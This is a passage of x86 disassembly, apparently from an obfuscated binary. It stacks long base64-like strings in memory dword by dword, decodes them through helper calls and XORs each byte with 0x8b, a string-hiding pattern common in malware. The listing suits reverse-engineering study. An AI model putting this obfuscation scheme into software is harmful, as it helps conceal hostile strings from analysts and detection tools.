mov dword [ebp - 0x2e0], 0x65734843
mov dword [ebp - 0x2dc], 0x66346e45
mov dword [ebp - 0x2d8], 0x31777963
mov dword [ebp - 0x2d4], 0x6e416850
mov dword [ebp - 0x2d0], 0x44457946
mov dword [ebp - 0x2cc], 0x55737762
mov dword [ebp - 0x2c8], 0x37417941
mov dword [ebp - 0x2c4], 0x69557a49
mov dword [ebp - 0x2c0], 0x38564350
mov dword [ebp - 0x2bc], 0x7051444b
mov dword [ebp - 0x2b8], 0x6f775341
mov dword [ebp - 0x2b4], 0x57737a42
mov dword [ebp - 0x2b0], 0x67413342
mov dword [ebp - 0x2ac], 0x7855524c
mov dword [ebp - 0x2a8], 0x7a63424c
mov dword [ebp - 0x2a4], 0x776c6e4a
mov dword [ebp - 0x2a0], 0x6b555344
mov dword [ebp - 0x29c], 0x746b774a
mov dword [ebp - 0x298], 0x48595350
mov dword [ebp - 0x294], 0x2f557741
mov dword [ebp - 0x290], 0x44454148
mov dword [ebp - 0x28c], 0x546f5449
mov dword [ebp - 0x288], 0x4c49584b
mov dword [ebp - 0x284], 0x75777a41
mov dword [ebp - 0x280], 0x7239774b
mov dword [ebp - 0x27c], 0x336c7947
mov dword [ebp - 0x278], 0x734a774c
mov dword [ebp - 0x274], 0x73516747
mov dword [ebp - 0x270], 0x65736d63
mov dword [ebp - 0x26c], 0x74415848
mov dword [ebp - 0x268], 0x6f6b4850
mov dword [ebp - 0x264], 0x41414141
mov word [ebp - 0x260], 0x776b
mov dword [ebp - 0x520], 0x686b5446
mov dword [ebp - 0x51c], 0x7651434e
push dword [ebp - 8]
lea ecx, [ebp - 0x730]
mov dword [ebp - 0x518], 0x69497a42
mov dword [ebp - 0x514], 0x6a45534d
mov dword [ebp - 0x510], 0x48554350
mov dword [ebp - 0x50c], 0x72415366
mov dword [ebp - 0x508], 0x6878694b
mov dword [ebp - 0x504], 0x6b414741
mov dword [ebp - 0x500], 0x72496847
mov dword [ebp - 0x4fc], 0x7949784d
mov dword [ebp - 0x4f8], 0x7a51544e
mov dword [ebp - 0x4f4], 0x3049684e
mov dword [ebp - 0x4f0], 0x384e7741
mov dword [ebp - 0x4ec], 0x556f794d
mov dword [ebp - 0x4e8], 0x4b304341
mov dword [ebp - 0x4e4], 0x69457945
mov dword [ebp - 0x4e0], 0x5745534d
mov dword [ebp - 0x4dc], 0x426b5161
mov dword [ebp - 0x4d8], 0x47735248
mov dword [ebp - 0x4d4], 0x3745674c
mov dword [ebp - 0x4d0], 0x6d78774a
mov dword [ebp - 0x4cc], 0x6d415148
mov dword [ebp - 0x4c8], 0x356f544c
mov dword [ebp - 0x4c4], 0x334a7949
mov dword [ebp - 0x4c0], 0x4d6b414e
mov dword [ebp - 0x4bc], 0x61734463
mov dword [ebp - 0x4b8], 0x44456a49
mov dword [ebp - 0x4b4], 0x35414764
mov dword [ebp - 0x4b0], 0x52596a4f
mov dword [ebp - 0x4ac], 0x426f4443
mov dword [ebp - 0x4a8], 0x744d544c
mov dword [ebp - 0x4a4], 0x7a425359
mov dword [ebp - 0x4a0], 0x36467747
mov dword [ebp - 0x49c], 0x6734414b
mov dword [ebp - 0x498], 0x4659674a
mov dword [ebp - 0x494], 0x32707844
mov dword [ebp - 0x490], 0x4b4d444d
mov dword [ebp - 0x48c], 0x44634749
mov dword [ebp - 0x488], 0x39385247
mov dword [ebp - 0x484], 0x42345163
mov dword [ebp - 0x480], 0x36514763
mov dword [ebp - 0x47c], 0x446f774b
mov dword [ebp - 0x478], 0x38414265
mov dword [ebp - 0x474], 0x67344448
mov dword [ebp - 0x470], 0x71307759
mov dword [ebp - 0x46c], 0x74387a43
mov dword [ebp - 0x468], 0x2f426a44
mov dword [ebp - 0x464], 0x31455249
mov dword [ebp - 0x460], 0x436f5743
mov dword [ebp - 0x45c], 0x41414141
mov word [ebp - 0x458], 0x6768
call fcn.004aec30
push eax
sub esp, 0xc
lea eax, [ebp - 0x25e]
mov ecx, esp
push dword [ebp - 0x64c]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x368]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x6e4]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
mov edx, dword [eax]
sub ecx, edx
je 0x4cce71
push edx
lea eax, [ebp - 0x6fc]
push eax
call fcn.004b8520
mov ecx, esp
push dword [ebp - 0x64c]
mov edi, dword [eax]
lea eax, [ebp - 0x456]
push eax
lea eax, [ebp - 0x520]
mov dword [ecx], 0
push eax
push 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x740]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x4cce71
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x674], eax
xor esi, esi
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x674], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ca125
sub ecx, edx
je 0x4ca191
mov al, byte [esi + edi]
lea ecx, [ebp - 0x674]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ca153
sub ecx, edx
cmp esi, ecx
jb 0x4ca130
mov eax, dword [ebp - 0x674]
test eax, eax
je 0x4ca191
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x674], 0
mov dword [ebp - 0x670], 0
mov dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x740]
test eax, eax
je 0x4ca1c2
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x740], 0
mov dword [ebp - 0x73c], 0
mov dword [ebp - 0x738], 0
mov edx, dword [ebp - 0x6fc]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4ca1e2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x6e4]
test eax, eax
je 0x4ca213
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 0
mov dword [ebp - 0x6dc], 0
mov edx, dword [ebp - 0x730]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4ca233
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x6d4]
mov ebx, dword [ebp - 0x708]
mov eax, dword [eax]
cmp eax, dword [ebx]
jge 0x4caae1
mov dword [ebp - 0x3c8], 0x36777a41
mov dword [ebp - 0x3c4], 0x6f73774e
mov dword [ebp - 0x3c0], 0x2f596a4a
mov dword [ebp - 0x3bc], 0x69675345
mov dword [ebp - 0x3b8], 0x37346948
mov dword [ebp - 0x3b4], 0x78554349
mov dword [ebp - 0x3b0], 0x68566d4d
mov dword [ebp - 0x3ac], 0x7a515165
mov dword [ebp - 0x3a8], 0x6777794b
mov dword [ebp - 0x3a4], 0x7351534d
mov dword [ebp - 0x3a0], 0x67556e49
mov dword [ebp - 0x39c], 0x75387a4f
mov dword [ebp - 0x398], 0x6b517a50
mov dword [ebp - 0x394], 0x76494363
mov dword [ebp - 0x390], 0x716f4350
mov dword [ebp - 0x38c], 0x3351534d
mov dword [ebp - 0x388], 0x4b55474f
mov dword [ebp - 0x384], 0x69426d61
mov dword [ebp - 0x380], 0x59454441
mov dword [ebp - 0x37c], 0x596b534b
mov dword [ebp - 0x378], 0x6d4e7942
mov dword [ebp - 0x374], 0x53385349
mov dword [ebp - 0x370], 0x66593241
mov dword [ebp - 0x36c], 0x6a387750
mov dword [ebp - 0x368], 0x50597943
mov dword [ebp - 0x364], 0x576b6941
mov dword [ebp - 0x360], 0x49675345
mov dword [ebp - 0x35c], 0x2f775444
mov dword [ebp - 0x358], 0x4234324c
mov dword [ebp - 0x354], 0x6d517965
mov dword [ebp - 0x350], 0x46347a50
mov dword [ebp - 0x34c], 0x53307850
mov dword [ebp - 0x348], 0x30594142
mov dword [ebp - 0x344], 0x72554841
mov dword [ebp - 0x340], 0x2b747765
mov dword [ebp - 0x33c], 0x68676963
mov dword [ebp - 0x338], 0x39593344
mov dword [ebp - 0x334], 0x75457a49
mov dword [ebp - 0x330], 0x2b497848
mov dword [ebp - 0x32c], 0x57773363
mov dword [ebp - 0x328], 0x7370414b
mov dword [ebp - 0x324], 0x31356949
mov dword [ebp - 0x320], 0x56346a42
mov dword [ebp - 0x31c], 0x7838774d
mov dword [ebp - 0x318], 0x6c597941
mov dword [ebp - 0x314], 0x30345463
mov dword [ebp - 0x310], 0x696f5165
mov dword [ebp - 0x30c], 0x68396d46
mov dword [ebp - 0x308], 0x2f316a4a
mov dword [ebp - 0x304], 0x6177444e
mov dword [ebp - 0x300], 0x776f5444
mov dword [ebp - 0x2fc], 0x7a686750
mov dword [ebp - 0x2f8], 0x4e51474a
mov dword [ebp - 0x2f4], 0x7238444b
mov dword [ebp - 0x2f0], 0x4259334a
mov dword [ebp - 0x2ec], 0x55774861
mov dword [ebp - 0x2e8], 0x61496e4b
mov dword [ebp - 0x2e4], 0x73596743
mov dword [ebp - 0x2e0], 0x5138544c
mov dword [ebp - 0x2dc], 0x4c51684c
mov dword [ebp - 0x2d8], 0x39674261
mov dword [ebp - 0x2d4], 0x6f41474d
mov dword [ebp - 0x2d0], 0x36357848
mov dword [ebp - 0x2cc], 0x4b41584e
mov dword [ebp - 0x2c8], 0x2b555444
mov dword [ebp - 0x2c4], 0x4363674d
mov dword [ebp - 0x2c0], 0x646b5143
mov dword [ebp - 0x2bc], 0x54416a61
mov dword [ebp - 0x2b8], 0x38677848
mov dword [ebp - 0x2b4], 0x36513346
mov dword [ebp - 0x2b0], 0x79414141
mov dword [ebp - 0x2ac], 0x30744447
mov dword [ebp - 0x2a8], 0x696b674a
mov dword [ebp - 0x2a4], 0x436f6945
mov dword [ebp - 0x2a0], 0x49735249
mov dword [ebp - 0x29c], 0x78353348
mov dword [ebp - 0x298], 0x6749524f
mov dword [ebp - 0x294], 0x78415441
mov dword [ebp - 0x290], 0x56594445
mov dword [ebp - 0x28c], 0x32736746
mov dword [ebp - 0x288], 0x57675849
mov dword [ebp - 0x284], 0x4b385846
mov dword [ebp - 0x280], 0x46595143
mov dword [ebp - 0x27c], 0x46777850
mov dword [ebp - 0x278], 0x6e4d414c
mov dword [ebp - 0x274], 0x4455794b
mov dword [ebp - 0x270], 0x6349784c
mov dword [ebp - 0x26c], 0x30347748
mov dword [ebp - 0x268], 0x416b6d43
mov dword [ebp - 0x264], 0x59444141
mov dword [ebp - 0x5bc], 0x686b5446
mov dword [ebp - 0x5b8], 0x7651434e
mov dword [ebp - 0x5b4], 0x69497a42
mov dword [ebp - 0x5b0], 0x6a45534d
mov dword [ebp - 0x5ac], 0x734d4350
mov dword [ebp - 0x5a8], 0x4d774349
mov dword [ebp - 0x5a4], 0x61496749
mov dword [ebp - 0x5a0], 0x6e4a414f
mov dword [ebp - 0x59c], 0x3949444f
mov dword [ebp - 0x598], 0x5973534a
mov dword [ebp - 0x594], 0x75597764
mov dword [ebp - 0x590], 0x31344459
mov dword [ebp - 0x58c], 0x2f735742
mov dword [ebp - 0x588], 0x6b347a4a
mov dword [ebp - 0x584], 0x366f4266
mov dword [ebp - 0x580], 0x324a5144
mov dword [ebp - 0x57c], 0x4f776e46
mov dword [ebp - 0x578], 0x54457741
mov dword [ebp - 0x574], 0x4c51444c
mov dword [ebp - 0x570], 0x786c684b
mov dword [ebp - 0x56c], 0x6b5a5349
mov dword [ebp - 0x568], 0x3277684d
mov dword [ebp - 0x564], 0x2f555141
mov dword [ebp - 0x560], 0x5a493346
mov dword [ebp - 0x55c], 0x78565447
mov dword [ebp - 0x558], 0x316f3349
mov dword [ebp - 0x554], 0x6977794f
mov dword [ebp - 0x550], 0x626b4250
mov dword [ebp - 0x54c], 0x51675749
mov dword [ebp - 0x548], 0x3664514c
mov dword [ebp - 0x544], 0x354e474d
mov dword [ebp - 0x540], 0x76494150
mov dword [ebp - 0x53c], 0x484d4341
mov dword [ebp - 0x538], 0x75457a42
mov dword [ebp - 0x534], 0x78737a64
mov dword [ebp - 0x530], 0x31387945
mov dword [ebp - 0x52c], 0x4830774f
mov dword [ebp - 0x528], 0x5834434e
mov dword [ebp - 0x524], 0x34735445
mov dword [ebp - 0x520], 0x6c73694f
mov dword [ebp - 0x51c], 0x634d684d
mov dword [ebp - 0x518], 0x74455349
mov dword [ebp - 0x514], 0x6a4d6766
mov dword [ebp - 0x510], 0x794a794a
mov dword [ebp - 0x50c], 0x486b334e
mov dword [ebp - 0x508], 0x58774263
mov dword [ebp - 0x504], 0x6445334f
mov dword [ebp - 0x500], 0x47514343
mov dword [ebp - 0x4fc], 0x4e73774b
mov dword [ebp - 0x4f8], 0x4255674e
mov dword [ebp - 0x4f4], 0x63556d4c
mov dword [ebp - 0x4f0], 0x7770484d
mov dword [ebp - 0x4ec], 0x45457a4a
mov dword [ebp - 0x4e8], 0x6e496a5a
mov dword [ebp - 0x4e4], 0x43594250
mov dword [ebp - 0x4e0], 0x55775250
mov dword [ebp - 0x4dc], 0x4230524d
mov dword [ebp - 0x4d8], 0x52556a50
mov dword [ebp - 0x4d4], 0x6b395249
mov dword [ebp - 0x4d0], 0x3370794f
mov dword [ebp - 0x4cc], 0x51494349
mov dword [ebp - 0x4c8], 0x4d77585a
mov dword [ebp - 0x4c4], 0x3841474b
mov dword [ebp - 0x4c0], 0x33496743
mov dword [ebp - 0x4bc], 0x73554166
mov dword [ebp - 0x4b8], 0x6b776942
mov dword [ebp - 0x4b4], 0x39524162
mov dword [ebp - 0x4b0], 0x30386a43
mov dword [ebp - 0x4ac], 0x6967434d
mov dword [ebp - 0x4a8], 0x7a414147
mov dword [ebp - 0x4a4], 0x524d5346
mov dword [ebp - 0x4a0], 0x65457750
push dword [ebp - 8]
lea ecx, [ebp - 0x6f4]
mov dword [ebp - 0x49c], 0x37515166
mov dword [ebp - 0x498], 0x7a735347
mov dword [ebp - 0x494], 0x716f694f
mov dword [ebp - 0x490], 0x6a593244
mov dword [ebp - 0x48c], 0x726f7742
mov dword [ebp - 0x488], 0x44457849
mov dword [ebp - 0x484], 0x5734434c
mov dword [ebp - 0x480], 0x5277684a
mov dword [ebp - 0x47c], 0x2f454149
mov dword [ebp - 0x478], 0x52676746
mov dword [ebp - 0x474], 0x676f7743
mov dword [ebp - 0x470], 0x51456e5a
mov dword [ebp - 0x46c], 0x4b304848
mov dword [ebp - 0x468], 0x71304464
mov dword [ebp - 0x464], 0x56415465
mov dword [ebp - 0x460], 0x424d524d
mov dword [ebp - 0x45c], 0x4141575a
mov dword [ebp - 0x458], 0x39444141
call fcn.004aec30
push eax
push 0
sub esp, 0xc
lea eax, [ebp - 0x260]
mov ecx, esp
push dword [ebp - 0x64c]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x3c8]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x7b8]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push eax
lea eax, [ebp - 0x728]
push eax
call fcn.004b8520
add esp, 0xc
mov ecx, eax
call fcn.004680f0
mov edi, eax
lea ecx, [ebp - 0x7fc]
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x5bc]
push eax
call fcn.004675e0
push 0
lea ecx, [ebp - 0x6e5]
mov esi, eax
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x7c4]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0xc
lea ecx, [ebp - 0x770]
call fcn.0046b880
lea ecx, [ebp - 0x770]
call fcn.00467710
mov ecx, edi
xor esi, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4caa32
sub ecx, edx
je 0x4caa70
lea ecx, [ecx]
mov al, byte [esi + edi]
lea ecx, [ebp - 0x770]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4caa63
sub ecx, edx
cmp esi, ecx
jb 0x4caa40
lea ecx, [ebp - 0x770]
call fcn.00467b10
lea ecx, [ebp - 0x7c4]
call fcn.00467ae0
lea ecx, [ebp - 0x728]
call fcn.004679f0
lea ecx, [ebp - 0x7b8]
call fcn.00467ae0
lea ecx, [ebp - 0x6f4]
call fcn.004679f0
mov ecx, dword [ebp - 0x6d4]
mov eax, dword [ecx]
inc eax
mov dword [ebp - 0x6d0], eax
lea eax, [ebp - 0x6d0]
push eax
push ebx
push dword [ebp - 0x668]
lea eax, [ebp + 0xc]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004af120
mov ecx, dword [ebp - 0x734]
lea eax, [ebp - 8]
push eax
call fcn.004c8570
lea ecx, [ebp - 8]
call fcn.004b5930
lea ecx, [ebp - 0x67c]
call fcn.00467a10
mov edi, dword [ebp - 0x6d8]
mov ebx, dword [ebp - 0x664]
jmp 0x4c91d0
push 4
lea ecx, [ebp - 0x6cc]
call fcn.005389f0
push edi
lea ecx, [ebp - 0x6cc]
call fcn.004aea00
push 4
lea ecx, [ebp - 0x660]
call fcn.005389f0
lea ecx, [ebp - 0x660]
call fcn.004aea50
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x6cc]
call fcn.004be4b0
lea ecx, [ebp - 0x6cc]
call fcn.004b8320
push eax
lea ecx, [ebp - 0x660]
call fcn.00467e70
lea ecx, [ebp - 0x660]
call fcn.00513a90
mov dword [ebp - 0x3c0], 0x36777a41
mov dword [ebp - 0x3bc], 0x6f73774e
mov dword [ebp - 0x3b8], 0x2f596a4a
mov dword [ebp - 0x3b4], 0x69675345
mov dword [ebp - 0x3b0], 0x37346948
mov dword [ebp - 0x3ac], 0x78554349
mov dword [ebp - 0x3a8], 0x68566d4d
mov dword [ebp - 0x3a4], 0x356f5265
mov dword [ebp - 0x3a0], 0x376b794a
mov dword [ebp - 0x39c], 0x6970434c
mov dword [ebp - 0x398], 0x6d30544d
mov dword [ebp - 0x394], 0x6d674450
mov dword [ebp - 0x390], 0x714d6e49
mov dword [ebp - 0x38c], 0x6a6f534f
mov dword [ebp - 0x388], 0x34394764
mov dword [ebp - 0x384], 0x644d4141
mov dword [ebp - 0x380], 0x6f777764
mov dword [ebp - 0x37c], 0x6a4a514c
mov dword [ebp - 0x378], 0x3538684f
mov dword [ebp - 0x374], 0x37387945
mov dword [ebp - 0x370], 0x66594263
mov dword [ebp - 0x36c], 0x6d455159
mov dword [ebp - 0x368], 0x6a4d794a
mov dword [ebp - 0x364], 0x334a3347
mov dword [ebp - 0x360], 0x546f544a
mov dword [ebp - 0x35c], 0x69675446
mov dword [ebp - 0x358], 0x4a386964
mov dword [ebp - 0x354], 0x4f636d44
mov dword [ebp - 0x350], 0x54737765
mov dword [ebp - 0x34c], 0x5945794b
mov dword [ebp - 0x348], 0x61594166
mov dword [ebp - 0x344], 0x4451584d
mov dword [ebp - 0x340], 0x54306845
mov dword [ebp - 0x33c], 0x6f45535a
mov dword [ebp - 0x338], 0x38644848
mov dword [ebp - 0x334], 0x6777794e
mov dword [ebp - 0x330], 0x6838544e
mov dword [ebp - 0x32c], 0x37707a43
mov dword [ebp - 0x328], 0x41777a47
mov dword [ebp - 0x324], 0x524d6763
mov dword [ebp - 0x320], 0x2b67484a
mov dword [ebp - 0x31c], 0x67417750
mov dword [ebp - 0x318], 0x67456748
mov dword [ebp - 0x314], 0x6a347a59
mov dword [ebp - 0x310], 0x6b495342
mov dword [ebp - 0x30c], 0x30594143
mov dword [ebp - 0x308], 0x2b386a4e
mov dword [ebp - 0x304], 0x44517944
mov dword [ebp - 0x300], 0x4e6b5748
mov dword [ebp - 0x2fc], 0x77645144
mov dword [ebp - 0x2f8], 0x69395146
mov dword [ebp - 0x2f4], 0x4677515a
mov dword [ebp - 0x2f0], 0x314a4341
mov dword [ebp - 0x2ec], 0x2b4a7748
mov dword [ebp - 0x2e8], 0x3530424f
mov dword [ebp - 0x2e4], 0x4767444c
mov dword [ebp - 0x2e0], 0x4951694a
mov dword [ebp - 0x2dc], 0x6677674b
mov dword [ebp - 0x2d8], 0x31675149
lea ecx, [ebp - 0x6cc]
mov dword [ebp - 0x2d4], 0x79425142
mov dword [ebp - 0x2d0], 0x6e59414d
mov dword [ebp - 0x2cc], 0x7734424d
mov dword [ebp - 0x2c8], 0x4c635746
mov dword [ebp - 0x2c4], 0x74554849
mov dword [ebp - 0x2c0], 0x62634848
mov dword [ebp - 0x2bc], 0x6d305349
mov dword [ebp - 0x2b8], 0x32635346
mov dword [ebp - 0x2b4], 0x68494349
mov dword [ebp - 0x2b0], 0x344d5445
mov dword [ebp - 0x2ac], 0x3241774c
mov dword [ebp - 0x2a8], 0x35774345
mov dword [ebp - 0x2a4], 0x735a4347
mov dword [ebp - 0x2a0], 0x4b6b5249
mov dword [ebp - 0x29c], 0x5549775a
mov dword [ebp - 0x298], 0x6241424b
mov dword [ebp - 0x294], 0x53674450
mov dword [ebp - 0x290], 0x344a424b
mov dword [ebp - 0x28c], 0x75744247
mov dword [ebp - 0x288], 0x4c596a42
mov dword [ebp - 0x284], 0x3767694b
mov dword [ebp - 0x280], 0x56634345
mov dword [ebp - 0x27c], 0x37514842
mov dword [ebp - 0x278], 0x32595450
mov dword [ebp - 0x274], 0x724e3342
mov dword [ebp - 0x270], 0x59774447
mov dword [ebp - 0x26c], 0x7277424a
mov dword [ebp - 0x268], 0x31646a4b
mov dword [ebp - 0x264], 0x41414141
mov word [ebp - 0x260], 0x5132
mov dword [ebp - 0x508], 0x686b5446
mov dword [ebp - 0x504], 0x7651434e
mov dword [ebp - 0x500], 0x69497a42
mov dword [ebp - 0x4fc], 0x6a45534d
mov dword [ebp - 0x4f8], 0x36384850
mov dword [ebp - 0x4f4], 0x386f684a
mov dword [ebp - 0x4f0], 0x71514849
mov dword [ebp - 0x4ec], 0x4d4d5261
mov dword [ebp - 0x4e8], 0x6d30684d
mov dword [ebp - 0x4e4], 0x50737965
mov dword [ebp - 0x4e0], 0x546f6a44
mov dword [ebp - 0x4dc], 0x6b557a4e
mov dword [ebp - 0x4d8], 0x6759694d
mov dword [ebp - 0x4d4], 0x56513345
mov dword [ebp - 0x4d0], 0x66673341
mov dword [ebp - 0x4cc], 0x47457748
mov dword [ebp - 0x4c8], 0x37516e4b
mov dword [ebp - 0x4c4], 0x4d344447
mov dword [ebp - 0x4c0], 0x58455350
mov dword [ebp - 0x4bc], 0x764e534e
mov dword [ebp - 0x4b8], 0x56735449
mov dword [ebp - 0x4b4], 0x31683359
mov dword [ebp - 0x4b0], 0x47455249
mov dword [ebp - 0x4ac], 0x6a4d5466
mov dword [ebp - 0x4a8], 0x726b7844
mov dword [ebp - 0x4a4], 0x31685241
mov dword [ebp - 0x4a0], 0x426b6746
mov dword [ebp - 0x49c], 0x6541324d
mov dword [ebp - 0x498], 0x35457a48
mov dword [ebp - 0x494], 0x6a34684e
mov dword [ebp - 0x490], 0x79496849
mov dword [ebp - 0x48c], 0x766f784a
mov dword [ebp - 0x488], 0x7249794a
mov dword [ebp - 0x484], 0x4c345347
mov dword [ebp - 0x480], 0x7768424c
mov dword [ebp - 0x47c], 0x7939334c
mov dword [ebp - 0x478], 0x36523364
mov dword [ebp - 0x474], 0x414d774f
mov dword [ebp - 0x470], 0x43346945
mov dword [ebp - 0x46c], 0x7a746844
mov dword [ebp - 0x468], 0x59497841
mov dword [ebp - 0x464], 0x54516e4d
mov dword [ebp - 0x460], 0x4b6b5244
mov dword [ebp - 0x45c], 0x41637a47
mov dword [ebp - 0x458], 0x32424141
call fcn.004b8310
mov ebx, eax
lea eax, [ebp - 0x25e]
push eax
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x80c]
call fcn.004675e0
push ebx
lea ecx, [ebp - 0x718]
mov esi, eax
call fcn.004aec30
push eax
push 0
lea ecx, [ebp - 0x6e8]
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x7d0]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push eax
lea eax, [ebp - 0x700]
push eax
call fcn.004b8520
add esp, 0xc
mov ecx, eax
call fcn.004680f0
mov edi, eax
lea ecx, [ebp - 0x7f4]
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.004675e0
push 0
lea ecx, [ebp - 0x6e6]
mov esi, eax
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x7dc]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0xc
lea ecx, [ebp - 0x77c]
call fcn.0046b880
lea ecx, [ebp - 0x77c]
call fcn.00467710
mov ecx, edi
xor esi, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cb193
sub ecx, edx
je 0x4cb1d0
mov edi, edi
mov al, byte [esi + edi]
lea ecx, [ebp - 0x77c]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cb1c3
sub ecx, edx
cmp esi, ecx
jb 0x4cb1a0
lea ecx, [ebp - 0x77c]
call fcn.00467b10
lea ecx, [ebp - 0x7dc]
call fcn.00467ae0
lea ecx, [ebp - 0x700]
call fcn.004679f0
lea ecx, [ebp - 0x7d0]
call fcn.00467ae0
lea ecx, [ebp - 0x718]
call fcn.004679f0
mov dword [ebp - 0x454], 0x36777a41
mov dword [ebp - 0x450], 0x6f73774e
mov dword [ebp - 0x44c], 0x2f596a4a
mov dword [ebp - 0x448], 0x69675345
mov dword [ebp - 0x444], 0x37346948
mov dword [ebp - 0x440], 0x78554349
mov dword [ebp - 0x43c], 0x68566d4d
mov dword [ebp - 0x438], 0x35555265
mov dword [ebp - 0x434], 0x7a6b534a
mov dword [ebp - 0x430], 0x7351434d
mov dword [ebp - 0x42c], 0x79556e49
mov dword [ebp - 0x428], 0x6b45694f
mov dword [ebp - 0x424], 0x6a636961
mov dword [ebp - 0x420], 0x76414363
mov dword [ebp - 0x41c], 0x73736a49
mov dword [ebp - 0x418], 0x6c46334e
mov dword [ebp - 0x414], 0x4c734144
mov dword [ebp - 0x410], 0x6963794d
mov dword [ebp - 0x40c], 0x58677a47
mov dword [ebp - 0x408], 0x30557941
mov dword [ebp - 0x404], 0x4263514d
mov dword [ebp - 0x400], 0x78396947
mov dword [ebp - 0x3fc], 0x44636748
mov dword [ebp - 0x3f8], 0x6c73324a
mov dword [ebp - 0x3f4], 0x34673347
mov dword [ebp - 0x3f0], 0x486b424e
mov dword [ebp - 0x3ec], 0x54635147
mov dword [ebp - 0x3e8], 0x31415361
mov dword [ebp - 0x3e4], 0x35415365
mov dword [ebp - 0x3e0], 0x48677841
mov dword [ebp - 0x3dc], 0x68454446
mov dword [ebp - 0x3d8], 0x45384142
mov dword [ebp - 0x3d4], 0x7645774d
mov dword [ebp - 0x3d0], 0x6f417842
mov dword [ebp - 0x3cc], 0x6a384242
mov dword [ebp - 0x3c8], 0x6f315346
mov dword [ebp - 0x3c4], 0x4451484c
mov dword [ebp - 0x3c0], 0x48736e45
mov dword [ebp - 0x3bc], 0x3234575a
mov dword [ebp - 0x3b8], 0x57516e43
mov dword [ebp - 0x3b4], 0x6a4e4243
mov dword [ebp - 0x3b0], 0x69345248
mov dword [ebp - 0x3ac], 0x62776842
mov dword [ebp - 0x3a8], 0x76455859
mov dword [ebp - 0x3a4], 0x66637841
mov dword [ebp - 0x3a0], 0x7a41534e
mov dword [ebp - 0x39c], 0x2b45514e
mov dword [ebp - 0x398], 0x2b517850
mov dword [ebp - 0x394], 0x6777694a
mov dword [ebp - 0x390], 0x79737844
mov dword [ebp - 0x38c], 0x56497864
mov dword [ebp - 0x388], 0x576b4150
mov dword [ebp - 0x384], 0x65385442
mov dword [ebp - 0x380], 0x32466e42
mov dword [ebp - 0x37c], 0x4d737959
mov dword [ebp - 0x378], 0x73496a44
mov dword [ebp - 0x374], 0x5049524b
mov dword [ebp - 0x370], 0x52347a43
mov dword [ebp - 0x36c], 0x4b517a49
mov dword [ebp - 0x368], 0x7863424f
mov dword [ebp - 0x364], 0x79457764
mov dword [ebp - 0x360], 0x57635146
mov dword [ebp - 0x35c], 0x63494749
mov dword [ebp - 0x358], 0x43515266
mov dword [ebp - 0x354], 0x4630694e
mov dword [ebp - 0x350], 0x7838774b
mov dword [ebp - 0x34c], 0x35514164
mov dword [ebp - 0x348], 0x33676845
mov dword [ebp - 0x344], 0x36384363
mov dword [ebp - 0x340], 0x55734242
mov dword [ebp - 0x33c], 0x34454466
mov dword [ebp - 0x338], 0x31746966
mov dword [ebp - 0x334], 0x45515747
mov dword [ebp - 0x330], 0x4f417848
